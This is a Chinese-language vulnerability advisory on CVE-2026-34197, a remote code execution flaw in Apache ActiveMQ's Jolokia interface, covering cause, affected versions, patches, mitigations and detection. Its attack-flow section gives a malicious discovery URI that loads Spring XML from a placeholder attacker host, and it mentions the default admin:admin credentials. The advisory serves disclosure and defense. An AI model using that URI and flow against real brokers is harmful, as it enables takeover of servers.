一、漏洞概述

Apache ActiveMQ是一款由Apache软件基金会开发的开源消息中间件,支持JMS、AMQP、MQTT、STOMP等多种消息协议,广泛应用于企业级消息队列、分布式系统与微服务架构中。

2026年4月8日,安全研究人员发现Apache ActiveMQ存在高危远程代码执行漏洞(CVE-2026-34197),该漏洞CVSS 3.1评分为8.8分,属于高危级别。攻击者可通过Jolokia JMX-HTTP接口远程触发操作执行恶意Spring配置,进而在Broker进程上执行任意代码。

二、漏洞技术原理

2.1 漏洞背景

Apache ActiveMQ Classic默认包含一个基于Jetty的Web管理控制台(默认监听8161端口),集成了Jolokia组件——一个将JMX操作暴露为HTTP/JSON接口的组件。这意味着攻击者只要通过控制台地址(如/api/jolokia/)发送合法认证请求(常见默认凭证admin:admin),即可调用ActiveMQ的管理方法。

2.2 漏洞触发机制

该漏洞的根本原因在于对Jolokia可执行操作范围的过度放宽。在修复CVE-2022-41678时,ActiveMQ默认策略允许所有org.apache.activemq:*MBean操作,以保证控制台功能完整。不幸的是,这一策略正被CVE-2026-34197所利用。

漏洞的触发点为BrokerService.addNetworkConnector(String)(以及同类型的addConnector)方法。攻击者向Jolokia的exec接口发送HTTP POST请求,指定对org.apache.activemq:type=Broker,brokerName=localhostMBean调用addNetworkConnector操作,并提供一个精心构造的静态发现URI(discovery URI)作为参数。

2.3 攻击流程

  1. 认证绕过:在ActiveMQ 6.0.0-6.1.1版本中,由于CVE-2024-32114漏洞导致Jolokia API无需认证即可访问,该漏洞可被未认证攻击者利用实现远程代码执行。

  2. 恶意URI构造:攻击者构造格式为static:(vm://rce?brokerConfig=xbean:http://attacker-url/payload.xml)的URI。

  3. 远程配置加载:ActiveMQ的VM传输层解析该URI时,会通过Spring的ResourceXmlApplicationContext远程加载攻击者控制的XML配置文件。

  4. 恶意Bean实例化:在Spring初始化阶段会提前实例化Bean,攻击者可借助Runtime.exec()等方法实现任意代码执行。

  5. 代码执行:实例化其中恶意Bean(如通过MethodInvokingFactoryBean调用Runtime.exec()),最终以ActiveMQ进程权限在目标服务器执行任意系统命令。

三、影响范围

3.1 受影响版本

根据官方通报,以下版本受到该漏洞影响:

组件名称

受影响版本范围

Apache ActiveMQ Broker

< 5.19.4

Apache ActiveMQ Broker

6.0.0 ≤ 版本 < 6.2.3

Apache ActiveMQ

< 5.19.4

Apache ActiveMQ

6.0.0 ≤ 版本 < 6.2.3

3.2 漏洞利用条件

  1. 认证要求:一般情况下需要认证用户权限即可利用。

  2. 特殊场景:在ActiveMQ 6.0.0-6.1.1版本中,由于CVE-2024-32114漏洞导致Jolokia API无需认证即可访问,可实现未授权远程代码执行。

四、漏洞危害

该漏洞一旦成功利用可完全控制Broker所在JVM,导致系统被接管、数据泄露甚至横向移动风险,可能违反数据安全及合规要求,对企业消息系统安全造成严重影响。

恶意攻击者可以利用该漏洞在目标系统上远程执行任意代码,直接获取系统权限,进而完全控制服务器并对内网环境造成持续威胁。

五、修复方案

5.1 官方修复版本

Apache官方已发布修复补丁,建议用户升级至以下安全版本:

  • Apache ActiveMQ Broker ≥ 5.19.5

  • Apache ActiveMQ Broker ≥ 6.2.3

  • Apache ActiveMQ ≥ 5.19.5

  • Apache ActiveMQ ≥ 6.2.3

5.2 修复原理

修复版本中通过在BrokerView.addConnector(String)addNetworkConnector(String)调用前新增validateAllowedUrl/validateAllowedUri校验,禁止vm scheme及其嵌套composite URI进入底层连接器创建流程,从而阻断远程Spring XML加载路径。

5.3 临时缓解措施

在完成升级前,可采取以下临时缓解措施:

  1. 访问控制:限制ActiveMQ管理接口和Jolokia API的访问范围,避免暴露到不可信网络。

  2. 模块禁用:若业务允许,可临时禁用或移除activemq-http模块,降低通过HTTP Discovery链路触发问题的风险。

  3. 网络隔离:结合防火墙、反向代理或访问控制策略,仅允许受信任的管理来源访问相关管理端点。

  4. 密码强化:修改默认管理员口令(admin/admin),使用强密码策略,避免使用弱口令。

5.4 通用安全建议

  1. 定期更新:定期更新系统补丁,减少系统漏洞,提升服务器的安全性。

  2. 访问控制:加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。

  3. 安全产品:使用企业级安全产品,提升企业的网络安全性能。

六、检测与验证

6.1 漏洞检测

  1. 版本检查:确认当前使用的Apache ActiveMQ版本是否在受影响范围内。

  2. 端口扫描:检查8161端口是否对外开放,以及/api/jolokia/接口是否可访问。

  3. 认证测试:测试Jolokia接口是否需要认证,以及默认凭证是否有效。

6.2 修复验证

升级后建议结合日志审计与主机排查确认是否存在异常利用痕迹。重点关注以下日志条目:

  1. Jolokia访问日志:异常的/api/jolokia/访问记录。

  2. 网络连接器创建:异常的addNetworkConnector操作记录。

  3. 远程资源加载:异常的远程XML配置文件加载记录。

七、总结

CVE-2026-34197是Apache ActiveMQ中的一个高危远程代码执行漏洞,源于Jolokia JMX-HTTP接口的权限配置过于宽松,结合VM传输协议对远程Spring XML配置文件的加载机制,导致攻击者可在目标系统上执行任意代码。

该漏洞影响范围广泛,利用难度较低,且在某些版本中可实现未授权利用,对企业消息中间件安全构成严重威胁。建议所有使用Apache ActiveMQ的组织立即检查自身版本,并按照官方建议进行升级或采取相应的缓解措施。

随着企业数字化转型的深入,消息中间件作为关键基础设施组件,其安全性不容忽视。此次漏洞再次提醒我们,即使是成熟的开源项目也可能存在严重的安全隐患,持续的安全监控和及时的漏洞修复是保障系统安全的重要环节。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐